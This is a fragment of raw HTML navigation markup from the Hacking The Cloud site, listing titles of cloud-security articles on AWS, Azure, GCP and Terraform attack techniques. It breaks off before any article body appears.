viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=./ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Default Account Information </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Default Account Information </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#service-accounts class=md-nav__link> <span class=md-ellipsis> Service Accounts </span> </a> </li> <li class=md-nav__item> <a href=#default-service-account-filename-permutations class=md-nav__link> <span class=md-ellipsis> Default Service Account filename permutations: </span> </a> </li> <li class=md-nav__item> <a href=#application-based-service-account class=md-nav__link> <span class=md-ellipsis> Application-Based Service Account: </span> </a> </li> <li class=md-nav__item> <a href=#how-to-use-service-accounts class=md-nav__link> <span class=md-ellipsis> How to use Service Accounts </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 